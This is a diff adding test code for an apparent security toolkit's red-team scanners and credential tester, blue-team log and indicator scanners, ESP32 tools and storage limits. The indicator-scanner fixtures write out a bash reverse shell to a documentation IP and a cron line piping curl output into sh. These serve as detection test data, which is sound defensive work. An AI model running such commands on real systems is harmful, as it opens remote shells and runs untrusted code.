@@ -2457,6 +2457,318 @@ check("rotation is disabled with APEX_AUDIT_MAX_BYTES=0",
os.listdir(nohome))
shutil.rmtree(nohome, ignore_errors=True)
print("\n== red team modules ==")
class _RedHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
path = urllib.parse.urlsplit(self.path).path
routes = {
"/.git/HEAD": (200, b"ref: refs/heads/main\n"),
"/.env": (200, b"DB_HOST=localhost\nAPI_KEY=supersecret\nDEBUG=1\n"),
"/": (200, b"<html><title>Index of /</title>"
b"<h1>Index of /</h1><a href=\"../\">Parent Directory</a>"
b"</html>"),
"/phpinfo.php": (200, b"<html>PHP Version 8.2.1</html>"),
}
code, body = routes.get(path, (404, b"nope"))
self.send_response(code)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
red_srv = http.server.HTTPServer(("127.0.0.1", 0), _RedHandler)
rport2 = red_srv.server_address[1]
threading.Thread(target=red_srv.serve_forever, daemon=True).start()
class _EmptyHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
body = b"nope"
self.send_response(404)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
clean_srv = http.server.HTTPServer(("127.0.0.1", 0), _EmptyHandler)
cport2 = clean_srv.server_address[1]
threading.Thread(target=clean_srv.serve_forever, daemon=True).start()
class _CredHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
path = urllib.parse.urlsplit(self.path).path
auth = self.headers.get("Authorization", "")
good = False
if auth.startswith("Basic "):
try:
good = base64.b64decode(auth[6:]).decode() == "admin:secret"
except Exception:
good = False
if path == "/open":
code = 200
elif path == "/lock":
code = 429 if auth else 401
else:
code = 200 if good else 401
body = b"ok" if code == 200 else b"no"
self.send_response(code)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
cred_srv = http.server.HTTPServer(("127.0.0.1", 0), _CredHandler)
credp = cred_srv.server_address[1]
threading.Thread(target=cred_srv.serve_forever, daemon=True).start()
red_home = tempfile.mkdtemp(prefix="apex-red-")
write_scope(red_home, {"label": "red", "expires": "2099-12-31T23:59:59Z",
"allow_private": True,
"allow_ip": ["127.0.0.1"],
"allow_domain": ["example.com"],
"allow_port": [str(rport2), str(cport2), str(credp)]})
res, _ = run([
call(1, "vuln_check", target="127.0.0.1", port=rport2, tls=False),
call(2, "vuln_check", target="127.0.0.1", port=cport2, tls=False),
call(3, "vuln_check", target="198.51.100.9", port=80),
call(4, "subdomain_enum", domain="example.com",
names="example.com,www.example.com"),
call(5, "subdomain_enum", domain="example.com", names="evil.invalid"),
call(6, "cred_test", target="127.0.0.1", port=credp, path="/basic",
users="admin,root", passwords="secret,toor", tls=False),
call(7, "cred_test", target="127.0.0.1", port=credp, path="/basic",
users="admin", passwords="wrong", tls=False),
call(8, "cred_test", target="127.0.0.1", port=credp, path="/open",
users="admin", passwords="secret", tls=False),
call(9, "cred_test", target="127.0.0.1", port=credp, path="/lock",
users="admin", passwords="secret", tls=False),
], home=red_home)
by_id = {r.get("id"): r for r in res}
vuln = json.loads(text(by_id[1]))
check("vuln_check confirms all four exposed artifacts", vuln["confirmed"] == 4,
vuln)
check("vuln_check marks each artifact confirmed",
all(c["verdict"] == "confirmed" for c in vuln["checks"]), vuln["checks"])
check("vuln_check saved evidence for each hit",
all(c.get("evidence") and os.path.isfile(c["evidence"])
for c in vuln["checks"]), vuln["checks"])
env = [c for c in vuln["checks"] if c["id"] == "env"][0]
check("vuln_check names the .env keys", env["keys"] == "DB_HOST,API_KEY,DEBUG",
env)
check("vuln_check never echoes .env values",
"supersecret" not in text(by_id[1]), text(by_id[1])[:200])
clean = json.loads(text(by_id[2]))
check("vuln_check finds nothing on a clean host", clean["confirmed"] == 0, clean)
check("vuln_check refuses an out-of-scope target", err(by_id[3]),
text(by_id[3]))
subs = json.loads(text(by_id[4]))
check("subdomain_enum checks every requested name", subs["checked"] == 2, subs)
check("subdomain_enum resolves an in-scope name",
subs["count"] >= 1 and
any(f["name"] == "example.com" and f["addresses"]
for f in subs["found"]), subs)
skipped = json.loads(text(by_id[5]))
check("subdomain_enum lets the gate drop an out-of-scope name",
skipped["checked"] == 1 and skipped["skipped"] == 1 and
skipped["count"] == 0, skipped)
good = json.loads(text(by_id[6]))
check("cred_test finds a default credential",
good["found"] is True and good["username"] == "admin" and
good["password"] == "secret" and good["attempts"] == 1, good)
bad = json.loads(text(by_id[7]))
check("cred_test reports a failed attempt without a password",
bad["found"] is False and bad["password"] == "", bad)
open_ep = json.loads(text(by_id[8]))
check("cred_test refuses an endpoint that needs no authentication",
open_ep["found"] is False and
"without authentication" in open_ep.get("error", ""), open_ep)
lock = json.loads(text(by_id[9]))
check("cred_test stops on a rate limit",
lock["lockout"] is True and lock["attempts"] == 1, lock)
red_srv.shutdown()
red_srv.server_close()
clean_srv.shutdown()
clean_srv.server_close()
cred_srv.shutdown()
cred_srv.server_close()
shutil.rmtree(red_home, ignore_errors=True)
print("\n== blue team modules ==")
blue_home = tempfile.mkdtemp(prefix="apex-blue-")
write_scope(blue_home, {"label": "blue", "expires": "2099-12-31T23:59:59Z"})
res, _ = run([call(1, "hardening_audit"),
call(2, "ioc_scan", path=os.path.join(ROOT, "does-not-exist"))],
home=blue_home)
by_id = {r.get("id"): r for r in res}
audit = json.loads(text(by_id[1]))
check("hardening_audit returns a score", 0 <= audit["score"] <= 100, audit)
check("hardening_audit counts are integers",
all(isinstance(audit["counts"][k], int)
for k in ("suid", "listening", "world_writable")), audit["counts"])
check("hardening_audit findings match the count",
len(audit["findings"]) == audit["findings_count"], audit)
check("hardening_audit lists listening ports",
isinstance(audit["listening_ports"], list), audit)
check("ioc_scan refuses a missing directory", err(by_id[2]), text(by_id[2]))
log_dir = os.path.join(blue_home, "logs")
os.makedirs(log_dir, exist_ok=True)
log_path = os.path.join(log_dir, "auth.log")
with open(log_path, "w") as f:
for _ in range(6):
f.write("Jan 1 00:00:00 host sshd[1]: Failed password for root "
"from 198.51.100.9 port 22 ssh2\n")
f.write("Jan 1 00:00:01 host sshd[1]: Invalid user admin from "
"198.51.100.9 port 22\n")
f.write("Jan 1 00:00:02 host sshd[1]: Accepted password for lotherk "
"from 10.0.0.5 port 22\n")
ioc_dir = os.path.join(ROOT, "ioc")
os.makedirs(ioc_dir, exist_ok=True)
with open(os.path.join(ioc_dir, "shell.sh"), "w") as f:
f.write("#!/bin/sh\nbash -i >& /dev/tcp/198.51.100.9/4444 0>&1\n")
with open(os.path.join(ioc_dir, "cron.txt"), "w") as f:
f.write("*/5 * * * * curl -s http://x/y | sh\n")
with open(os.path.join(ioc_dir, "evil.service"), "w") as f:
f.write("[Service]\nExecStart=/tmp/payload\n")
with open(os.path.join(ioc_dir, "clean.txt"), "w") as f:
f.write("hello world\n")
res, _ = run([
call(1, "log_audit", path=log_path),
call(2, "log_audit", path="/etc/passwd"),
call(3, "ioc_scan", path=ioc_dir),
], home=blue_home)
by_id = {r.get("id"): r for r in res}
logs = json.loads(text(by_id[1]))
check("log_audit counts the failures", logs["failed"] == 6, logs)
check("log_audit flags the brute-force source",
logs["brute_force"] and logs["brute_force"][0]["ip"] == "198.51.100.9"
and logs["brute_force"][0]["failures"] == 6, logs["brute_force"])
check("log_audit names the targeted user", "admin" in logs["targeted_users"],
logs["targeted_users"])
check("log_audit counts accepted logins", logs["accepted"] == 1, logs)
check("log_audit refuses a path outside the allowed roots", err(by_id[2]),
text(by_id[2]))
iocs = json.loads(text(by_id[3]))
patterns = {f["pattern"] for f in iocs["findings"]}
check("ioc_scan finds the three malicious files", iocs["findings_count"] == 3,
iocs)
check("ioc_scan names each pattern",
patterns == {"reverse-shell", "remote-code", "systemd-tmp"}, patterns)
check("ioc_scan leaves the clean file alone",
not any(f["path"].endswith("clean.txt") for f in iocs["findings"]), iocs)
check("ioc_scan reports the files it read", iocs["files_scanned"] >= 4, iocs)
shutil.rmtree(blue_home, ignore_errors=True)
print("\n== esp32 tools ==")
esp_home = tempfile.mkdtemp(prefix="apex-esp-")
write_scope(esp_home, {"label": "esp", "expires": "2099-12-31T23:59:59Z"})
esp_m, esp_s = pty.openpty()
esp_path = os.ttyname(esp_s)
esp_stop = threading.Event()
def esp_writer():
while not esp_stop.is_set():
try:
os.write(esp_m, b"boot ok\r\n")
except OSError:
return
time.sleep(0.1)
writer = threading.Thread(target=esp_writer, daemon=True)
writer.start()
res, _ = run([
call(1, "esp_monitor", serial=esp_path, seconds=1),
call(2, "esp_info", serial="/nonexistent/ttyESP0"),
call(3, "esp_read_flash", serial="/nonexistent/ttyESP0", size=99999999),
], home=esp_home)
esp_stop.set()
writer.join(timeout=2)
os.close(esp_m)
os.close(esp_s)
by_id = {r.get("id"): r for r in res}
mon = json.loads(text(by_id[1]))
check("esp_monitor reads the console", mon["bytes"] > 0 and
"boot ok" in mon["data"], mon)
info = json.loads(text(by_id[2]))
check("esp_info reports the serial and esptool state",
info["serial"] == "/nonexistent/ttyESP0" and
isinstance(info["esptool"], bool), info)
check("esp_read_flash validates the size", err(by_id[3]), text(by_id[3]))
shutil.rmtree(esp_home, ignore_errors=True)
print("\n== store limits ==")
lim_home = tempfile.mkdtemp(prefix="apex-limits-")
write_scope(lim_home, {"label": "limits", "expires": "2099-12-31T23:59:59Z",
"allow_private": True,
"allow_ip": ["10.10.0.0/24"], "allow_port": ["80"]})
res, _ = run(
[call(i + 1, "scope_check", target="10.10.0.%d" % (i + 1), port=80)
for i in range(5)]
+ [call(6, "audit_log", limit=3), call(7, "audit_log", limit=100)],
home=lim_home)
by_id = {r.get("id"): r for r in res}
three = json.loads(text(by_id[6]))
check("audit_log returns exactly the requested number of entries",
len(three) == 3, three)
check("audit_log returns the newest entries, oldest first",
[e.get("target") for e in three] ==
["10.10.0.3", "10.10.0.4", "10.10.0.5"], three)
check("audit_log entries carry the decision and tool",
all("decision" in e and e.get("tool") == "scope_check" for e in three),
three)
full = json.loads(text(by_id[7]))
check("audit_log with a larger limit returns every entry", len(full) == 5, full)
res, _ = run(
[call(i + 1, "finding_add", target="10.10.0.5",
title="Limit finding %d" % i, severity="low") for i in range(5)]
+ [call(6, "finding_list", limit=2), call(7, "finding_list", limit=100)],
home=lim_home)
by_id = {r.get("id"): r for r in res}
check("finding_add accepted five distinct findings",
all(not err(by_id[i]) for i in range(1, 6)),
[text(by_id[i]) for i in range(1, 6)])
two = json.loads(text(by_id[6]))
check("finding_list honours the limit", len(two) == 2, two)
everything = json.loads(text(by_id[7]))
check("finding_list returns all five without a tighter limit",
len(everything) == 5, everything)
check("finding_list returns distinct ids",
len(set(f["id"] for f in everything)) == 5, everything)
res, _ = run([
call(1, "evidence_save", label="empty", data=""),
call(2, "evidence_list"),
], home=lim_home)
by_id = {r.get("id"): r for r in res}
empty = json.loads(text(by_id[1]))
check("a zero-byte evidence blob is saved",
empty["bytes"] == 0 and os.path.isfile(empty["evidence"]), empty)
name = os.path.basename(empty["evidence"])
listed = json.loads(text(by_id[2]))
check("the empty blob appears in the evidence list",
any(e["name"] == name and e["bytes"] == 0 for e in listed), listed)
res, _ = run([call(1, "evidence_read", name=name)], home=lim_home)
back = json.loads(text(res[0]))
check("a zero-byte blob reads back as empty text",
back["bytes"] == 0 and back["encoding"] == "text" and back["data"] == "",
back)
shutil.rmtree(lim_home, ignore_errors=True)
print("\n== summary ==")
print("%d passed, %d failed" % (passes, len(fails)))
if fails: